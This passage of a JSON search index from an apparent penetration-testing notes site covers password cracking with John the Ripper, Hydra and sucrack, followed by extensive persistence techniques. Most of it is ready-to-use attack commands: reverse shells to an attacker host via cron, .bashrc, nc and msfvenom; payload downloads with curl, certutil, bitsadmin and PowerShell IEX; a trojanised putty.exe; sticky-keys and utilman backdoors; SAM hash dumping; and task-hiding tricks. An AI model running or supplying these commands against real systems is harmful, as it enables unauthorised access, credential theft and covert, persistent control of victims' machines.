\n```sh\n[List.Rules:border]\n$[0-9]$[0-9]\n```\n* Run john with parameter `--rules=border`\n\n### Existing Rules\n* `l33t`, l33tsp34k\n* `NT`, case mutation\n* Example for `best64`\n```sh\njohn --wordlist=single_password.txt --rules=best64 --stdout > out.txt\n```\n\n### Subformats\n* Some salted passwords need dynamic rules\n```sh\njohn --list=subformats\n```\n","description":"","tags":[],"title":"John The Ripper","uri":"/hashes/password_cracking/john.html"},{"content":"VNC Password Decoding\n* Found passwords in vnc config files may be decoded via\n```sh\n echo -n \"<key>\" | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K 5AB2CDC0BADCAF13F1 -iv 0000000000000000 -d | hexdump -Cv\n```\n","description":"","tags":[],"title":"VNC Password Decoding","uri":"/hashes/password_cracking/vnc.html"},{"content":"Hydra usage\n## Examples\n\n* HTTP post form\n```sh\nhydra -l <username> -P <wordlist> MACHINE_IP http-post-form \"/:username=^USER^&password=^PASS^:F=incorrect\" -V\n```\n* HTTP basic auth\n```sh\nhydra -l bob -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -f 10.10.167.239 http-get /protected\n```\n\n\n|Command|Description|\n|-------|-----------|\n|`hydra -P <wordlist> -v <ip> <protocol>`|Brute force against a protocol of your choice|\n|`hydra -v -V -u -L <username list> -P <password list> -t 1 -u <ip> <protocol>`|You can use Hydra to bruteforce usernames as well as passwords. It will loop through every combination in your lists. (-vV = verbose mode, showing login attempts)|\n|`hydra -t 1 -V -f -l <username> -P <wordlist> rdp://<ip>`|Attack a Windows Remote Desktop with a password list.|\n|`hydra -l <username> -P .<password list> $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'`|Craft a more specific request for Hydra to brute force.|\n\n## Parameter\n\n|Option|Decription|\n|------|----------|\n|-l|Single username|\n|-P|Indicates use the following wordlist|\n|http-post-form|indicates the method|\n|/login url|the login URL|\n|:username|the form field where the username is entered|\n|^USER^|tells Hydra to use the username from -l|\n|password|the formfield where the password is entered|\n|^PASS^|tells Hydra to use the wordlist from -P|\n|Login|indicates to Hydra the login failed message|\n|Login failed|is the login failure message that the form returns|\n|F=incorrect|If this word appears on the page, login failed|\n|-V| verbose|\n","description":"","tags":[],"title":"Hydra usage","uri":"/hashes/password_cracking/hydra.html"},{"content":"sucrack\n* [Repo](https://github.com/hemp3l/sucrack.git)\n* Upload to target and build\n```sh\nsucrack -u <username> -w 100 <wordlist>\n```\n\n","description":"","tags":[],"title":"sucrack","uri":"/hashes/password_cracking/sucrack.html"},{"content":"Initial Passwords\n* Services and products sometimes have credentials set initially.\n\n* [default-password](https://default-password.info)\n* [datarecovery](https://datarecovery.com/rd/default-passwords/)\n\n\n\n","description":"","tags":[],"title":"Initial Passwords","uri":"/hashes/password_guessing/standard_passwords.html"},{"content":"Meterpreter Persistence\n## Load shell on system startup\n```sh\nrun persistence -X\n```\n","description":"","tags":[],"title":"Meterpreter Persistence","uri":"/persistence/meterpreter.html"},{"content":"WMI Backdoor\n* [BlackHat 2015, Backdoor](https://github.com/mattifestation/WMI_Backdoor.git)\n","description":"","tags":[],"title":"WMI Backdoor","uri":"/persistence/wmi.html"},{"content":"Cronjobs\n* `crontab -l`\n* `cat /etc/crontab`\n\n## Add Cronjob\n* Add line\n```sh\n* * * * * root curl http://<attacker-IP>:8000/shell.sh | bash\n``` \n * Shell content\n ```sh\n bash -c \"bash -i >& /dev/tcp/<attacker-IP>/<attacker-Port> 0&1\"\n ``` \n\n","description":"","tags":[],"title":"Cronjobs","uri":"/persistence/crontab.html"},{"content":"Persistence\n* Gain through\n * Startup folder persistence\n * Editing registry keys\n * Scheduled tasks\n * SUID\n * BITS\n * Creating a backdoored service\n * Creat user\n * RDP\n\n## Gain Persistence on Windows\n* Browser. Add to trusted sites.\n* Powershell\n```sh\nInvoke-WebRequest http://<attacker-IP>:<attackerPort>/shell.exe -OutFile .\\shell2.exe\n```\n* DOSprompt\n```cmd\ncertutil -urlcache -split -f http://<attacker-IP>:<attacker-Port/shell.exe\n```\n* Use `multi/handler` on attacker and `set PAYLOAD windows/meterpreter/reverse_tcp` \n### Paths to Persistence\n* Put in startup directory\n```sh\nC:\\Users\\%username%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\n```\n* Put the reverse_shell into `%appdata%` and add a registry key\n```sh\nreg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" /v Backdoor /t REG_SZ /d \"C:\\Users\\<USER>\\AppData\\Roaming\\backdoor.exe\" \n```\n### Background Intelligence Transfer Service (BITS)\n```sh\nbitsadmin /create __shell__\nbitsadmin /addfile __shell__ \"http://<attacker-IP>:<attacker-Port>/shell2.exe\" \"C:\\Users\\<USER>\\Documents\\shell2.exe\"\n```\n```sh\nbitsadmin /SetNotifyCmdLine 1 cmd.exe \"/c shell2.exe /complete __shell__ | start /B C:\\Users\\<USER>\\Documents\\shell2.exe\"\nbitsadmin /SetMinRetryDelay 30\nbitsadmin /resume\n```\n\n## Elevate Privileges\n* Create user `net user /add <user> <pass>`\n* Add to admin group via `net localgroup administrators <user> /add` \n* Check `net localgroup Administrator`\n\n### More stealthy\n\n* Backup Operator group is more stealthy, no admin by r/w on files\n```sh\nnet localgroup \"Backup Operators\" <user> /add\nnet localgroup \"Remote Management Users\" <user> /add\n```\n* The following two groups are assigned through membership of `Backup Operators`\n * SeBackupPrivilege, read files\n * SeRestorePrivilege, write files\n\n* Any local group is stripped of off its admin permissions when logging in via RDP. Therefore disable the following regkey via\n```sh\nreg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1\n```\n* Afterwards, check if `Backup Operators` is enabled via `whoami /groups`\n* Backup `SAM` and `SYSTEM` via \n```sh\nreg save hklm\\system system.bak\nreg save hklm\\sam sam.bak\ndownload system.bak\ndownload sam.bak\nsecretsdump.py -sam sam.bak -system system.bak LOCAL\n```\n* Pass-the-hash via evil-winrm\n\n### secedit\n\n* Get r/w on files through editing a config file\n* Export secedit and open it \n```sh\nsecedit /export /cfg config.inf\n```\n* Add user to the groups\n```sh\nSeBackupPrivilege = [...],<username>\nSeRestorePrivilege = [...],<username>\n```\n* Convert the file\n```sh\nsecedit /import /cfg config.inf /db config.sdb\nsecedit /configure /db config.sdb /cfg config.infk\n```\n* Add the user to the RDP group via net localgroup like before or do\n```sh\nSet-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI\n```\n* Add & Click user -> Full Control(All Operations)\n* Set `LocalAccountTokenFilterPolicy` to `1` like in the section before\n\n### Relative ID (RID)\n\n* UID like in linux\n * Administrator has `RID = 500`\n * Other interactive users `RID >= 1000`\n* Get RIDs\n```sh\n wmic useraccount get name,sid\n```\n* Assign `500` to regular user\n```sh\n PsExec64.exe -i -s regedit\n```\n* Open `HKLM\\SAM\\SAM\\Domains\\Account\\Users\\<0xRID>`\n* Search for RID value as hexadecimal value\n* Open the key called `F` and change effective RID at position `0x30`\n* Insert LE hex of `0d500`, which is `f401`\n\n## Add to registry\n\n* Execute on user logon via\n```sh\nreg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v Userinit /d \"Userinit.exe, C:\\yadda\\shell2.exe\" /f\n```\n\n## Add a Service\n\n### Meterpreter\n\n* Inside meterpreter `load powershell` and `powershell_shell`\n```sh\nNew-Service -Name \"<SERVICE_NAME>\" -BinaryPathName \"<PATH_TO_BINARY>\" -Description \"<SERVICE_DESCRIPTION>\" -StartupType \"Boot\"\n```\n\n### Powershell\n\n* Start a service automatically\n```sh\nsc.exe create SteamUpdater binPath= \"net user Administrator Passwd123\" start= auto\nsc.exe start SteamUpdater\n```\n\n* Use a service PE instead\n```sh\nmsfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f exe-service -o SteamUpdater.exe\n```\n\n* Modify an existing service\n * Enumerate all the services\n```sh\nsc.exe query state=all\n```\n * Info about a specific service, start type should be automatic, service start name should be target user\n```sh\nsc.exe qc <ServiceName>\n```\n * Reconfigure\n```sh\nsc.exe config FoundService binPath= \"C:\\Windows\\SteamUpdater.exe\" start= auto obj= \"LocalSystem\"\nsc.exe start FoundService\n```\n\n## Add Scheduled Task\n\n```sh\n$A = New-ScheduledTaskAction -Execute \"cmd.exe\" -Argument \"/c C\"\\Users\\Administrator\\Documents\\rshell.exe\n$B = New-ScheduledTaskTrigger -AtLogOn\n$C = New-ScheduledTaskPrincipal -UserId \"NT AUTHORITY/SYSTEM\" -RunLevel Highest\n$D = New-ScheduledTaskSettingsSet\n$E = New-ScheduledTask -Action $A -Trigger $B -Principal $C -Settings $D\nRegister-ScheduledTask ReverseShell -InputObject $E\n```\n\n* Alternatively via `schtasks`\n```sh\nschtasks /create /sc minute /mo 1 /tn SteamUpdater /tr \"c:\\windows\\temp\\nc.exe -e cmd.exe $ATTACKER_IP $ATTACKER_PORT\" /ru SYSTEM\n```\n * Check task\n```sh\nschtasks /query /tn SteamUpdater\n```\n\n* Deleting Security Descriptor of a task to make it invisible. Delete the following key\n```sh\nHKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\<taskname>\\SD\n```\n\n## File Backdoor\n\n### Mimic PE\n```sh\nmsfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=$ATTACKER_IP lport=$ATTACKER_PORT -b \"\\x00\" -f exe -o puttyX.exe\n```\n\n### Reference Script\n* Recycle shortcut of an app to reference a reverse shell script\n * Right click -> `Properties` -> `Target`\n* Reference the the script `certainlynobackdoor.ps1` via \n```sh\npowershell.exe -WindowStyle hidden C:\\Windows\\System32\\certainlynobackdoor.ps1\n```\n* Content of the script `certainlynobackdoor.ps1`\n```sh\nStart-Process -NoNewWindow \"c:\\tools\\nc.exe\" \"-e cmd.exe $ATTACKER_IP $ATTACKER_PORT\"\nC:\\Windows\\System32\\calc.exe\n```\n\n### File Association\n\n* Change associated `ProgID` of a file type inside registry `HKLM\\Software\\Classes\\`\n* Choose a class and `<class>/shell/open/command` contains the file to be opened as the first argument `%1` \n* Chang the argument to a shell script and pass the arg through it\n```sh\nStart-Process -NoNewWindow \"c:\\windows\\temp\\nc.exe\" \"-e cmd.exe $ATTACKER_IP $ATTACKER_PORT\"\nC:\\Windows\\system32\\NOTEPAD.EXE $args[0]\n```\n* Change `command\\default` to `powershell -windowstyle hidden C:\\windows\\temp\\steamupdater.ps1 %1`\n\n\n## Persistence via Logon \n\n### Startup directories\n* Users' Startup directory under\n```sh\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\n```\n\n* Startup directory for all users, put the reverse shell here\n```sh\nC:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\n```\n\n### Registry Keys\n\n* `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run`\n* `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce`\n* `HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run`\n* `HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce`\n\n* Create `Expandable String Value` under any of this keys with the value of the reverse shell path\n\n\n* `HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\` loads user profile after authentication is done\n * Either `shell` or `Userinit` can be appended with a comma separated command\n\n### Logon Scripts\n\n* `userinit.exe` checks var `UserInitMprLogonScript` which cann be used to load logon scripts\n\n* Create variable `UserInitMprLogonScript` under `HKCU\\Environment` which gets the reverse shell as a payload\n\n\n## RDP or Login Screen\n\n### Sticky Keys\n* Press shift x 5 and `C:\\Windows\\System32\\sethc.exe` will be executed\n* Take ownership of the binary via\n```sh\ntakeown /f c:\\Windows\\System32\\sethc.exe\nicacls C:\\Windows\\System32\\sethc.exe /grant Administrator:F\n```\n* Overwrite with `cmd.exe` \n```sh\ncopy c:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\sethc.exe\n```\n\n### Utilman\n\n* Ease of access button is clickable at the login screen, it is executed with system privileges \n* Take ownership and overwrite with `cmd.exe`\n```sh\ntakeown /f c:\\Windows\\System32\\utilman.exe\nicacls C:\\Windows\\System32\\utilman.exe /grant Administrator:F\ncopy c:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\utilman.exe\n```\n\n## Web Shell\n\n* Default user is `iis apppool\\defaultapppool`\n* Has `SeImpersonatePrivilege` \n\n* [Download Web Shell](https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmdasp.aspx)\n* Move shell to `C:\\inetpub\\wwwroot` on target\n* Get the shell via `http://$TARGET_IP/shell.aspx`\n\n## MSSQL\n\n* Triggers bind actions such as INSERTs\n\n* Open Microsoft SQL Server Management Studio\n * Choose windows auth\n * `New Query`\n * Enable Advance Options via\n```sh\nsp_configure 'Show Advanced Options',1;\nRECONFIGURE;\nGO\n\nsp_configure 'xp_cmdshell',1;\nRECONFIGURE;\nGO\n```\n * Grant privileges to all users\n```sh\nUSE master\nGRANT IMPERSONATE ON LOGIN::sa to [Public];\n```\n\n * Change to DB\n```sh\nUSE <DATABASE>\n```\n\n * Create trigger\n```sh\nCREATE TRIGGER [sql_backdoor]\nON HRDB.dbo.Employees \nFOR INSERT AS\n\nEXECUTE AS LOGIN = 'sa'\nEXEC master..xp_cmdshell 'Powershell -c \"IEX(New-Object net.webclient).downloadstring(''http://ATTACKER_IP:8000/evilscript.ps1'')\"';\n```\n\n* Trigger the trigger by visiting the site which triggers the trigger through a db call\n\n","description":"","tags":[],"title":"Persistence","uri":"/persistence/persistence.html"},{"content":"Bashrc Bogus\n## Add Reverse Shell\n```sh\necho 'bash -c \"bash -i >& /dev/tcp/<attacker-IP>/<attacker-Port> 0>&1\"' >> ~/.bashrc\n```\n\n\n","description":"","tags":[],"title":"Bashrc Bogus","uri":"/persistence/bashrc.html"}]}
|